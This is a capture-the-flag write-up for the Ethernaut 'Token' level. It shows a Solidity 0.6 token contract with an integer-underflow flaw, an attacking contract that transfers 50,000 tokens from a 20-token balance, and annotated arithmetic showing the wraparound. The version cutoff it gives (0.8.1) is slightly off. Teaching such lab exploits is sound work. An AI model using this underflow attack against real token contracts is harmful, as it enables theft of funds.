Ethernaut Solutions: 5-Token

Contracts written earlier than v0.8.1 were vulnerable to integer over/underflow attacks. For example, if you have uint8 x = 255 then x + 1 will evaluate to 0 (overflow). Similarly, for uint8 x = 0, (x-1) becomes 255. In this challenge we use this vulnerability to steal 50,000 tokens from this contract.

Here are both the problem and the solution contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
contract Solution
{
  address tokenContract;
  Token t;

  constructor() public
  {
    //Deploy the contract and get 20 tokens
    t = new Token(20);
  }

  function attack() public
  {
    // 0xaE036c65C649172b43ef7156b009c6221B596B8b gets the 50000 stolen tokens
    t.transfer(address(0xaE036c65C649172b43ef7156b009c6221B596B8b), 50000);
  }

  function balanceOf(address addr) public view returns (uint)
  {
    return(t.balanceOf(addr));
  }
}

Here is how the attack works:

function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);
  balances[msg.sender] -= _value; // balances[msg.sender] = 20 - 50000 = 115792089237316195423570985008687907853269984665640564039457584007913129589956
  balances[_to] += _value; // balances[0xaE036c65C649172b43ef7156b009c6221B596B8b] = 0 + 50000 = 50000 tokens
  return true;
}